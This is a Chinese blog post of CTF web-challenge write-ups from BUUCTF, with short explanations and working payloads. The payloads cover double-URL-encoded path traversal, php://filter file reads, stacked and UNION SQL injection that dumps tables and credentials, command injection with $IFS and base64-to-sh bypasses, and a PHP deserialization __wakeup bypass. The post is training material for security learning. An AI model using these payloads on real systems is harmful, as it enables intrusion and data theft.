目录
[极客大挑战 2019]EasySQL
[HCTF 2018]WarmUp
[极客大挑战 2019]Havefun
[ACTF2020 新生赛]Include
[强网杯 2019]随便注
[SUCTF 2019]EasySQL
[ACTF2020 新生赛]Exec
[极客大挑战 2019]Secret File
[GXYCTF2019]Ping Ping Ping
方法一、sh,bash下编码
方法二、内联执行
[极客大挑战 2019]LoveSQL
[极客大挑战 2019]Knife
[极客大挑战 2019]Http
[极客大挑战 2019]Upload
[ACTF2020 新生赛]Upload
[RoarCTF 2019]Easy Calc
[极客大挑战 2019]BabySQL
[极客大挑战 2019]PHP
[ACTF2020 新生赛]BackupFile
[极客大挑战 2019]BuyFlag
[BJDCTF2020]Easy MD5
[SUCTF 2019]CheckIn
[极客大挑战 2019]HardSQL
[MRCTF2020]你传你🐎呢
[MRCTF2020]Ez_bypass
[GYCTF2020]Blacklist
[CISCN2019 华北赛区 Day2 Web1]Hack World
[极客大挑战 2019]EasySQL万能密码

参考大佬wp [HCTF 2018]WarmUp - AlexANSO - 博客园
hint.php告诉了flag的文件名ffffllllaaaagggg
依然还是先慢慢看懂代码意思 ,遇到不清楚的句子就去查,搁置了很久学了一些php类才慢慢去理解
核心要求
- 传入file参数不为空
- file是字符串
- file被checkFile引用,并且返回true
然后就是要满足checkFile()的要求(file就相当于是page)
- 第一个if, page变量不为空,是字符串
- 第二个if,传入的page在白名单中
- 第三个if,这里就是最难理解的,该代码表示截取$page中'?'前部分,若无则截取整个$page,截取page ?之前的字符赋给_page,判断_page是否在白名单中
- 第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page,判断_page是否在白名单中,
- 浏览器本身会url解码一次,所以要解码两次再得到source.php或hint.php,那么我们就需要url编码两次,一般来说英语字符url后还是本身,所以对?进行两次url编码就行。不过我试了,全部url编码两次也可以,就是payload长了点
这里仅是?url编码两次
/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
/source.php? 这里是hint.php? 进行url编码两次
file=%2568%2569%256e%2574%252e%2570%2568%2570%253f../../../../../ffffllllaaaagggg
还有一个坑点,就是用利用 ../ 返回上一级来遍历任意文件,多写几个没问题,不能少
(像这种题跟着wp一步一步理解都费尽,日常破防,继续加油吧)
[极客大挑战 2019]Havefun
/?cat=dog
[ACTF2020 新生赛]Include
/?file=php://filter/convert.base64-encode/resource=flag.php
[强网杯 2019]随便注 1 - ZM思 - 博客园
主要是过滤了select等单词
重命名+堆叠注入
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦
0';rename table words to words1 ;rename table `1919810931114514` to words ;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ;desc words;#
最后再1' or 1=1#
[SUCTF 2019]EasySQL各种试了个遍,还是堆叠注入,看了wp也不太理解,各种看吧
BUUCTF--Web--[SUCTF 2019]EasySQL_一只小白来了的博客-CSDN博客_buuctf easysql
select 1 from table where的作用? - ITCHN - 博客园
[ACTF2020 新生赛]Exec127.0.0.1;ls
127.0.0.1;ls /
127.0.0.1;cat /flag
[极客大挑战 2019]Secret File
secret
根据代码意思,我们需要的东西放在了flag.php文件里面,但是这边过滤了一些文件访问的协议,但是有一个协议没有被过滤就是php协议,
所以构造如下payload:
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
[GXYCTF2019]Ping Ping Ping过滤了某些字符,空格,flag等
[GXYCTF2019]Ping Ping Ping(RCE)_xlcvv的博客-CSDN博客
[GXYCTF2019]Ping Ping Ping {命令执行总结}_昂首下楼梯的博客-CSDN博客
$IFS$1代替空格
用sh,sh没过滤
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64
方法二、内联执行/?ip=127.0.0.1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
注意顺序.*
[极客大挑战 2019]LoveSQL
跳转到check.php,在这里进行注入
判断字段数
/check.php?username=admin' order by 3%23&password=1 成功
/check.php?username=admin' order by 4%23&password=1 报错
在这里%23就是#的url编码
判断回显点
/check.php?username=-1' union select 1,2,3%23&password=1
爆库 表 列
/check.php?username=-1' union select 1,2,database()%23&password=1
/check.php?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1
/check.php?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'%23&password=1
/check.php?username=-1' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1%23&password=1
[极客大挑战 2019]Knife
蚁剑连
眼神!!!
Referer!!!
User-Agent !!!
X-Forward-For!!!
过滤了
index.php
思路是比较清晰的,要求反序列化后username=admin和password=100,这其中只需要绕过一些魔法方法就行了
$res进行返序列化$select,$select 传入序列化形式的payload,所以精心构造$select就行
得到:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
为了绕过__wakeup ,改大属性个数
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
因为属性是private私有,要在类名和属性名前加%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
最终payload:
/index.php/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
[ACTF2020 新生赛]BackupFile
看wp都是用dirsearch扫出来后缀的 index.php.bak
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?